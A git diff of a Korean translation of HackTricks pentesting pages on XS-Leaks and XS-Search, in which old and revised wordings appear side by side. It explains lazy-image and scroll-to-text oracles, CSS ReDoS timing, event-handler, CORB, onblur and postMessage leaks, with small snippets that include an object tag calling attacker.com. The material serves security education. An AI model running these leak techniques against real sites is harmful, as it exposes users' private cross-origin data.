그러나 어떤 이유로든 **문자를 하나씩** 해야 하는 경우(아마도 통신이 캐시 적중을 통해 이루어지기 때문) 이 요령을 사용할 수 있습니다.
HTML의 **이미지**는 "**loading**" 속성이 있으며, 그 값은 "**lazy**"일 수 있습니다. 이 경우 이미지는 페이지가 로드되는 동안이 아니라 볼 때 로드됩니다:
```html
<img src=/something loading=lazy >
```
따라서 할 수 있는 것은 **많은 쓰레기 문자**를 **추가하는 것**입니다 (예: **수천 개의 "W"**) **비밀 앞에 웹 페이지를 채우거나** `<br><canvas height="1850px"></canvas><br>`와 같은 것을 추가하는 것입니다.\
예를 들어, 우리의 **주입이 플래그 앞에 나타나면**, **이미지**가 **로드되지만**, **플래그 뒤에 나타나면**, 플래그 + 쓰레기가 **로드되는 것을 방지합니다** (얼마나 많은 쓰레기를 배치할지는 조정해야 합니다). 이것은 [**이 글**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 발생한 일입니다.
예를 들어, **주입이 플래그 앞에 나타나면**, **이미지**가 **로드되지만**, **플래그 뒤에 나타나면**, 플래그 + 쓰레기가 **로드되는 것을 방지합니다** (얼마나 많은 쓰레기를 배치할지 조정해야 합니다). 이것은 [**이 글**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 발생한 일입니다.
또 다른 옵션은 **scroll-to-text-fragment**를 사용하는 것입니다, 허용된다면:
#### Scroll-to-text-fragment
그러나 **봇이 페이지에 접근하게** 하려면 다음과 같은 것을 사용해야 합니다.
그러나 **봇이 페이지에 접근하도록** 하는 것입니다, 예를 들어
```
#:~:text=SECR
```
웹 페이지는 다음과 같을 것입니다: **`https://victim.com/post.html#:~:text=SECR`**
여기서 post.html은 공격자의 쓰레기 문자와 지연 로드 이미지가 포함되어 있으며, 그 아래에 봇의 비밀이 추가됩니다.
여기서 post.html은 공격자의 쓰레기 문자와 지연 로드 이미지가 포함되어 있으며, 그 다음에 봇의 비밀이 추가됩니다.
이 텍스트는 봇이 페이지에서 `SECR`이라는 텍스트를 포함하는 모든 텍스트에 접근하게 만듭니다. 그 텍스트가 비밀이고 **이미지 바로 아래에** 있기 때문에, **정확한 비밀이 추측되면 이미지만 로드됩니다**. 따라서 비밀을 **문자 단위로 유출할 수 있는 오라클이 생깁니다**.
이 텍스트는 봇이 페이지에서 `SECR`이라는 텍스트를 포함하는 모든 텍스트에 접근하도록 합니다. 그 텍스트가 비밀이고 **이미지 바로 아래에** 있기 때문에, **정답 비밀이 맞을 경우에만 이미지가 로드됩니다**. 따라서 비밀을 **문자 단위로 유출할 수 있는 오라클이 생깁니다**.
이를 이용한 코드 예시는 다음과 같습니다: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### 이미지 지연 로딩 시간 기반
**외부 이미지를 로드할 수 없는 경우** 공격자에게 이미지가 로드되었음을 알릴 수 있는 또 다른 옵션은 **문자를 여러 번 추측하고 이를 측정하는 것입니다**. 이미지가 로드되면 모든 요청이 이미지가 로드되지 않았을 때보다 더 오래 걸립니다. 이것은 [**이 글의 해결책**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 사용된 방법입니다. **여기 요약되어 있습니다:**
**외부 이미지를 로드할 수 없는 경우** 공격자에게 이미지가 로드되었음을 알릴 수 있는 또 다른 옵션은 **문자를 여러 번 추측하고 그 시간을 측정하는 것**입니다. 이미지가 로드되면 모든 요청이 이미지가 로드되지 않았을 때보다 더 오래 걸립니다. 이것은 [**이 글의 해결책**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)에서 사용된 방법입니다. **여기 요약되어 있습니다:**
{{#ref}}
xs-search/event-loop-blocking-+-lazy-images.md
@ -887,7 +887,7 @@ regular-expression-denial-of-service-redos.md
### CSS ReDoS
`jQuery(location.hash)`가 사용되면, **일부 HTML 콘텐츠가 존재하는지** 타이밍을 통해 알아낼 수 있습니다. 이는 선택자 `main[id='site-main']`가 일치하지 않으면 나머지 **선택자**를 확인할 필요가 없기 때문입니다.
`jQuery(location.hash)`가 사용되면, **일부 HTML 콘텐츠가 존재하는지** 타이밍을 통해 알 수 있습니다. 이는 선택자 `main[id='site-main']`가 일치하지 않으면 나머지 **선택자**를 확인할 필요가 없기 때문입니다.
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
@ -901,7 +901,7 @@ xs-search/css-injection/
## Defenses
각 섹션의 위키 [https://xsleaks.dev/](https://xsleaks.dev/)와 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)에서 권장되는 완화 조치가 있습니다. 이러한 기술로부터 보호하는 방법에 대한 더 많은 정보는 그곳을 확인하세요.
각 섹션의 위키와 [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)에서 권장되는 완화 조치가 있습니다. 이러한 기술로부터 보호하는 방법에 대한 더 많은 정보는 그곳을 확인하세요.
## References

250
src/pentesting-web/xs-search/README.md
View File

@ -11,7 +11,7 @@ XS-Search는 **사이드 채널 취약점**을 활용하여 **교차 출처 정
- **취약한 웹**: 정보가 추출될 대상 웹사이트.
- **공격자의 웹**: 피해자가 방문하는 공격자가 만든 악성 웹사이트로, 익스플로잇을 호스팅합니다.
- **포함 방법**: 취약한 웹을 공격자의 웹에 통합하는 데 사용되는 기술(예: window.open, iframe, fetch, href가 있는 HTML 태그 등).
- **유출 기술**: 포함 방법을 통해 수집된 정보를 기반으로 취약한 웹의 상태 차이를 식별하는 데 사용되는 기술.
- **유출 기술**: 포함 방법을 통해 수집된 정보를 바탕으로 취약한 웹의 상태 차이를 식별하는 데 사용되는 기술.
- **상태**: 공격자가 구별하고자 하는 취약한 웹의 두 가지 잠재적 조건.
- **감지 가능한 차이**: 공격자가 취약한 웹의 상태를 추론하는 데 의존하는 관찰 가능한 변동.
@ -20,44 +20,44 @@ XS-Search는 **사이드 채널 취약점**을 활용하여 **교차 출처 정
취약한 웹의 상태를 구별하기 위해 분석할 수 있는 여러 측면이 있습니다:
- **상태 코드**: 서버 오류, 클라이언트 오류 또는 인증 오류와 같은 **다양한 HTTP 응답 상태 코드**를 교차 출처에서 구별합니다.
- **API 사용**: 특정 JavaScript 웹 API를 사용하는지 여부를 드러내는 **웹 API 사용**을 식별합니다.
- **리디렉션**: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 탐색을 감지합니다.
- **페이지 내용**: **HTTP 응답 본문** 또는 페이지 하위 리소스에서의 변동을 관찰합니다. 예를 들어, **임베디드 프레임의 수** 또는 이미지의 크기 차이.
- **HTTP 헤더**: **특정 HTTP 응답 헤더**의 존재 또는 값(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy)을 주목합니다.
- **타이밍**: 두 상태 간의 일관된 시간 차이를 감지합니다.
- **API 사용**: 특정 JavaScript 웹 API를 사용하는 교차 출처 페이지를 드러내는 **웹 API 사용** 식별.
- **리디렉션**: HTTP 리디렉션뿐만 아니라 JavaScript 또는 HTML에 의해 트리거된 다른 페이지로의 탐색 감지.
- **페이지 내용**: **HTTP 응답 본문** 또는 페이지 하위 리소스에서의 변동 관찰, 예를 들어 **임베디드 프레임의 수** 또는 이미지의 크기 차이.
- **HTTP 헤더**: **특정 HTTP 응답 헤더**의 존재 또는 값(예: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy) 주목.
- **타이밍**: 두 상태 간의 일관된 시간 차이 감지.
### 포함 방법
- **HTML 요소**: HTML은 **교차 출처 리소스 포함**을 위한 다양한 요소를 제공합니다. 예를 들어, 스타일시트, 이미지 또는 스크립트는 브라우저가 비HTML 리소스를 요청하도록 강제합니다. 이 목적을 위한 잠재적인 HTML 요소의 목록은 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)에서 확인할 수 있습니다.
- **프레임**: **iframe**, **object**, **embed**와 같은 요소는 HTML 리소스를 공격자의 페이지에 직접 포함할 수 있습니다. 페이지가 **프레임 보호가 없을 경우**, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있습니다.
- **팝업**: **`window.open`** 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP에 따라 메서드와 속성과 상호작용할 수 있는 **창 핸들**을 제공합니다. 팝업은 종종 단일 로그인에서 사용되며, 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 현대 브라우저는 특정 사용자 작업에만 팝업 생성을 제한합니다.
- **JavaScript 요청**: JavaScript는 **XMLHttpRequests** 또는 **Fetch API**를 사용하여 대상 리소스에 직접 요청을 허용합니다. 이러한 방법은 HTTP 리디렉션을 따르도록 선택하는 등 요청에 대한 정밀한 제어를 제공합니다.
- **HTML 요소**: HTML은 **교차 출처 리소스 포함**을 위한 다양한 요소를 제공하며, 스타일시트, 이미지 또는 스크립트와 같은 비HTML 리소스를 요청하도록 브라우저를 강제합니다. 이 목적을 위한 잠재적 HTML 요소의 목록은 [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)에서 확인할 수 있습니다.
- **프레임**: **iframe**, **object**, **embed**와 같은 요소는 공격자의 페이지에 HTML 리소스를 직접 포함할 수 있습니다. 페이지가 **프레임 보호가 없으면**, JavaScript는 contentWindow 속성을 통해 프레임된 리소스의 window 객체에 접근할 수 있습니다.
- **팝업**: **`window.open`** 메서드는 새 탭이나 창에서 리소스를 열어 JavaScript가 SOP에 따라 메서드 및 속성과 상호작용할 수 있는 **창 핸들**을 제공합니다. 팝업은 종종 단일 로그인에서 사용되며, 대상 리소스의 프레임 및 쿠키 제한을 우회합니다. 그러나 최신 브라우저는 특정 사용자 작업에만 팝업 생성을 제한합니다.
- **JavaScript 요청**: JavaScript는 **XMLHttpRequests** 또는 **Fetch API**를 사용하여 대상 리소스에 직접 요청할 수 있습니다. 이러한 방법은 HTTP 리디렉션을 따르도록 선택하는 등 요청에 대한 정밀한 제어를 제공합니다.
### 유출 기술
- **이벤트 핸들러**: XS-Leaks에서 고전적인 유출 기술로, **onload** 및 **onerror**와 같은 이벤트 핸들러가 리소스 로딩 성공 또는 실패에 대한 통찰력을 제공합니다.
- **이벤트 핸들러**: 리소스 로딩 성공 또는 실패에 대한 통찰력을 제공하는 **onload** 및 **onerror**와 같은 이벤트 핸들러에서의 전통적인 유출 기술.
- **오류 메시지**: JavaScript 예외 또는 특수 오류 페이지는 오류 메시지의 존재 여부에 따라 유출 정보를 제공할 수 있습니다.
- **전역 한계**: 메모리 용량이나 다른 강제 브라우저 한계와 같은 브라우저의 물리적 제한은 임계값에 도달했을 때 신호를 보낼 수 있으며, 이는 유출 기술로 작용할 수 있습니다.
- **전역 한계**: 메모리 용량 또는 기타 강제 브라우저 한계와 같은 브라우저의 물리적 제한은 임계값에 도달했음을 신호로 제공하여 유출 기술로 작용할 수 있습니다.
- **전역 상태**: 브라우저의 **전역 상태**(예: History 인터페이스)와의 감지 가능한 상호작용을 악용할 수 있습니다. 예를 들어, 브라우저의 기록에 있는 **항목 수**는 교차 출처 페이지에 대한 단서를 제공할 수 있습니다.
- **성능 API**: 이 API는 **현재 페이지의 성능 세부정보**를 제공하며, 문서 및 로드된 리소스에 대한 네트워크 타이밍을 포함하여 요청된 리소스에 대한 추론을 가능하게 합니다.
- **읽을 수 있는 속성**: 일부 HTML 속성은 **교차 출처에서 읽을 수 있으며**, 유출 기술로 사용될 수 있습니다. 예를 들어, `window.frame.length` 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임의 수를 계산할 수 있게 합니다.
- **읽기 가능한 속성**: 일부 HTML 속성은 **교차 출처에서 읽을 수 있으며**, 유출 기술로 사용될 수 있습니다. 예를 들어, `window.frame.length` 속성은 JavaScript가 교차 출처 웹페이지에 포함된 프레임의 수를 계산할 수 있게 합니다.
## XSinator 도구 및 논문
XSinator는 **여러 알려진 XS-Leaks에 대해 브라우저를 검사하는 자동 도구**로, 그 논문에서 설명되어 있습니다: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator는 **여러 알려진 XS-Leaks에 대해 브라우저를 검사하는 자동 도구**로, 그 논문에서 설명됩니다: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
도구에 **접근할 수 있는 곳**: [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **제외된 XS-Leaks**: XSinator의 다른 유출에 간섭할 수 있는 **서비스 워커**에 의존하는 XS-Leaks는 제외해야 했습니다. 또한, 특정 웹 애플리케이션의 잘못된 구성 및 버그에 의존하는 XS-Leaks도 **제외하기로 선택했습니다**. 예를 들어, CrossOrigin Resource Sharing (CORS) 잘못된 구성, postMessage 유출 또는 Cross-Site Scripting. 또한, 느리고 시끄럽고 부정확한 경우가 많기 때문에 시간 기반 XS-Leaks도 제외했습니다.
> **제외된 XS-Leaks**: XSinator의 다른 유출과 간섭할 수 있는 **서비스 워커**에 의존하는 XS-Leaks는 제외해야 했습니다. 또한, 특정 웹 애플리케이션의 잘못된 구성 및 버그에 의존하는 XS-Leaks도 **제외하기로 선택했습니다**. 예를 들어, CrossOrigin Resource Sharing (CORS) 잘못된 구성, postMessage 유출 또는 Cross-Site Scripting. 또한, 느리고 시끄럽고 부정확한 경우가 많기 때문에 시간 기반 XS-Leaks도 제외했습니다.
## **타이밍 기반 기술**
다음 기술 중 일부는 웹 페이지의 가능한 상태에서 차이를 감지하는 과정의 일환으로 타이밍을 사용할 것입니다. 웹 브라우저에서 시간을 측정하는 방법은 여러 가지가 있습니다.
**시계**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API는 개발자가 고해상도 타이밍 측정을 얻을 수 있게 합니다.\
공격자가 암묵적인 시계를 생성하기 위해 남용할 수 있는 API의 수가 상당합니다: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS 애니메이션 등.\
자세한 정보는: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)에서 확인할 수 있습니다.
**시계**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API는 개발자가 고해상도 타이밍 측정을 얻을 수 있도록 합니다.\
공격자가 암묵적인 시계를 만들기 위해 남용할 수 있는 API의 수가 상당히 많습니다: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS 애니메이션 등.\
자세한 정보는: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## 이벤트 핸들러 기술
@ -66,16 +66,16 @@ XSinator는 **여러 알려진 XS-Leaks에 대해 브라우저를 검사하는
- **포함 방법**: 프레임, HTML 요소
- **감지 가능한 차이**: 상태 코드
- **자세한 정보**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **요약**: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 리소스가 성공적으로/실패적으로 로드되면 트리거되며, 상태 코드를 파악할 수 있습니다.
- **요약**: 리소스를 로드하려고 할 때 onerror/onload 이벤트가 리소스가 성공적으로/실패적으로 로드되면 트리거되며 상태 코드를 파악할 수 있습니다.
- **코드 예제**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
코드 예제는 **JS에서 스크립트 객체를 로드하려고 시도하지만**, **다른 태그**(예: 객체, 스타일시트, 이미지, 오디오)도 사용할 수 있습니다. 또한, **태그를 직접 주입**하고 태그 내부에 `onload` 및 `onerror` 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 대신).
코드 예제는 **JS에서 스크립트 객체를 로드하려고 시도하지만**, **다른 태그**(예: 객체, 스타일시트, 이미지, 오디오)도 사용할 수 있습니다. 또한, **태그를 직접** 주입하고 태그 내에서 `onload` 및 `onerror` 이벤트를 선언하는 것도 가능합니다(대신 JS에서 주입하는 대신).
이 공격의 스크립트 없는 버전도 있습니다:
이 공격에는 스크립트 없는 버전도 있습니다:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
@ -88,7 +88,7 @@ cookie-bomb-+-onerror-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Timing (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 그러나 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)와 같은 다른 시계를 사용할 수 있으며, 이는 50ms 이상 실행되는 작업을 식별할 수 있습니다.
- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 그러나 [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)와 같은 다른 시계를 사용할 수도 있으며, 이는 50ms 이상 실행되는 작업을 식별할 수 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 또 다른 예는:
{{#ref}}
@ -97,7 +97,7 @@ performance.now-example.md
#### Onload Timing + Forced Heavy Task
이 기술은 이전 기술과 유사하지만, **attacker**는 **긍정적 또는 부정적** 응답이 있을 때 **상당한 시간**이 걸리도록 **강제** 조치를 취하고 그 시간을 측정합니다.
이 기술은 이전 기술과 유사하지만, **attacker**는 **긍정적 또는 부정적** 응답이 있을 때 **상당한 시간**이 걸리도록 일부 작업을 **강제**하고 그 시간을 측정합니다.
{{#ref}}
performance.now-+-force-heavy-task.md
@ -108,20 +108,20 @@ performance.now-+-force-heavy-task.md
- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 다른 시계를 사용할 수 있습니다.
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 다른 시계를 사용할 수도 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
리소스를 가져오는 데 걸리는 시간은 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 및 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 이벤트를 활용하여 측정할 수 있습니다. **`beforeunload`** 이벤트는 브라우저가 새 페이지로 이동하려고 할 때 발생하고, **`unload`** 이벤트는 실제로 탐색이 이루어질 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 **브라우저가 리소스를 가져오는 데 소요된 시간**을 결정할 수 있습니다.
리소스를 가져오는 데 걸리는 시간은 [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) 및 [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) 이벤트를 활용하여 측정할 수 있습니다. **`beforeunload`** 이벤트는 브라우저가 새 페이지로 이동하려고 할 때 발생하며, **`unload`** 이벤트는 실제로 탐색이 이루어질 때 발생합니다. 이 두 이벤트 간의 시간 차이를 계산하여 **브라우저가 리소스를 가져오는 데 소요된 시간**을 결정할 수 있습니다.
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **Inclusion Methods**: Frames
- **Detectable Difference**: Timing (일반적으로 페이지 콘텐츠, 상태 코드로 인한)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 다른 시계를 사용할 수 있습니다.
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API는 요청을 수행하는 데 걸리는 시간을 측정하는 데 사용할 수 있습니다. 다른 시계를 사용할 수도 있습니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)이 없는 경우, 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 공격자가 측정할 수 있는 것으로 관찰되었습니다. 이 측정은 일반적으로 iframe의 `onload` 핸들러가 리소스 로드 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인한 변동성을 우회하기 위해, 공격자는 `<iframe>` 내에서 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행과 같은 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정을 용이하게 합니다.
[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)이 없는 경우, 페이지와 그 하위 리소스가 네트워크를 통해 로드되는 데 필요한 시간을 공격자가 측정할 수 있는 것으로 관찰되었습니다. 이 측정은 일반적으로 iframe의 `onload` 핸들러가 리소스 로딩 및 JavaScript 실행이 완료된 후에만 트리거되기 때문에 가능합니다. 스크립트 실행으로 인해 발생하는 변동성을 우회하기 위해, 공격자는 `<iframe>` 내에서 [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) 속성을 사용할 수 있습니다. 이 속성을 포함하면 JavaScript 실행과 같은 여러 기능이 제한되어 네트워크 성능에 주로 영향을 받는 측정을 용이하게 합니다.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -131,12 +131,12 @@ performance.now-+-force-heavy-task.md
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary**: 페이지에 올바른 콘텐츠에 접근할 때 오류가 발생하게 하고, 어떤 콘텐츠에 접근할 때 올바르게 로드되게 할 수 있다면, 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.
- **Summary**: 페이지에 올바른 콘텐츠에 접근할 때 오류가 발생하고, 어떤 콘텐츠에 접근할 때 올바르게 로드되도록 할 수 있다면, 시간을 측정하지 않고 모든 정보를 추출하는 루프를 만들 수 있습니다.
- **Code Example**:
비밀 콘텐츠가 포함된 페이지를 **Iframe** 안에 **삽입**할 수 있다고 가정해 보겠습니다.
피해자가 **Iframe**을 사용하여 "_**flag**_"가 포함된 파일을 검색하도록 **유도**할 수 있습니다(예: CSRF를 이용). Iframe 안에서는 _**onload event**_가 **항상 최소한 한 번은 실행**될 것이라는 것을 알고 있습니다. 그런 다음, **URL**의 **iframe**을 **변경**할 수 있지만, URL의 **hash**의 **내용**만 변경합니다.
피해자가 **Iframe**을 사용하여 "_**flag**_"가 포함된 파일을 검색하도록 **유도**할 수 있습니다(예: CSRF를 악용). Iframe 안에서는 _**onload event**_가 **항상 최소한 한 번은 실행**될 것임을 알고 있습니다. 그런 다음 **URL**의 **iframe**을 **변경**할 수 있지만, URL의 **hash**의 **내용**만 변경합니다.
예를 들어:
@ -164,10 +164,10 @@ javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)**는 웹 페이지가 특정 민감한 교차 출처 리소스를 로드하는 것을 방지하는 보안 조치로, **Spectre**와 같은 공격으로부터 보호합니다. 그러나 공격자는 그 보호 동작을 악용할 수 있습니다. **CORB**의 적용을 받는 응답이 `nosniff`와 `2xx` 상태 코드가 있는 _**CORB 보호**_ `Content-Type`을 반환하면, **CORB**는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 **상태 코드**(성공 또는 오류를 나타냄)와 `Content-Type`(이것이 **CORB**에 의해 보호되는지 여부를 나타냄)의 조합을 추론할 수 있어 잠재적인 정보 유출로 이어질 수 있습니다.
- **Summary**: **Cross-Origin Read Blocking (CORB)**는 **Spectre**와 같은 공격으로부터 보호하기 위해 특정 민감한 교차 출처 리소스의 로드를 방지하는 보안 조치입니다. 그러나 공격자는 그 보호 동작을 악용할 수 있습니다. **CORB**의 적용을 받는 응답이 `nosniff`와 `2xx` 상태 코드가 있는 _**CORB 보호**_ `Content-Type`을 반환하면, **CORB**는 응답의 본문과 헤더를 제거합니다. 이를 관찰하는 공격자는 **상태 코드**(성공 또는 오류를 나타냄)와 `Content-Type`(CORB에 의해 보호되는지 여부를 나타냄)의 조합을 추론할 수 있어 잠재적인 정보 유출로 이어질 수 있습니다.
- **Code Example**:
더 많은 정보에 대한 링크를 확인하여 공격에 대한 추가 정보를 확인하십시오.
더 많은 정보에 대한 링크를 확인하십시오.
### onblur
@ -177,8 +177,8 @@ javascript-execution-xs-leak.md
- **Summary**: id 또는 name 속성에서 민감한 데이터를 유출합니다.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
**iframe** 안에 페이지를 **로드**하고 **`#id_value`**를 사용하여 페이지가 지정된 요소에 **포커스**를 맞추게 할 수 있습니다. 그런 다음 **`onblur`** 신호가 트리거되면 ID 요소가 존재합니다.\
**`portal`** 태그를 사용하여 동일한 공격을 수행할 수 있습니다.
**iframe** 안에 **페이지**를 **로드**하고 **`#id_value`**를 사용하여 페이지가 지정된 요소에 **포커스**를 맞추도록 할 수 있습니다. 그런 다음 **`onblur`** 신호가 트리거되면 ID 요소가 존재합니다.\
**`portal`** 태그로 동일한 공격을 수행할 수 있습니다.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -186,9 +186,9 @@ javascript-execution-xs-leak.md
- **Detectable Difference**: API Usage
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Summary**: postMessage에서 민감한 정보를 수집하거나 postMessages의 존재를 오라클로 사용하여 페이지에서 사용자의 상태를 알 수 있습니다.
- **Code Example**: `Any code listening for all postMessages.`
- **Code Example**: `모든 postMessages를 수신하는 코드.`
응용 프로그램은 서로 다른 출처 간에 통신하기 위해 [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)를 자주 사용합니다. 그러나 `targetOrigin` 매개변수가 제대로 지정되지 않으면 이 방법은 **민감한 정보**를 우연히 노출할 수 있습니다. 또한 메시지를 수신하는 행위 자체가 **오라클** 역할을 할 수 있습니다. 예를 들어, 특정 메시지는 로그인한 사용자에게만 전송될 수 있습니다. 따라서 이러한 메시지의 존재 여부는 사용자의 상태나 신원에 대한 정보를 드러낼 수 있습니다.
응용 프로그램은 종종 [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)를 사용하여 서로 다른 출처 간에 통신합니다. 그러나 이 방법은 `targetOrigin` 매개변수가 제대로 지정되지 않으면 **민감한 정보**를 우연히 노출할 수 있습니다. 또한 메시지를 수신하는 행위 자체가 **오라클** 역할을 할 수 있습니다. 예를 들어, 특정 메시지는 로그인한 사용자에게만 전송될 수 있습니다. 따라서 이러한 메시지의 존재 또는 부재는 사용자의 상태나 신원에 대한 정보를 드러낼 수 있습니다.
## Global Limits Techniques
@ -197,24 +197,24 @@ javascript-execution-xs-leak.md
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: WebSocket 연결 한계를 소진하면 교차 출처 페이지의 WebSocket 연결 수가 유출됩니다.
- **Summary**: WebSocket 연결 한계를 소진하여 교차 출처 페이지의 WebSocket 연결 수를 유출합니다.
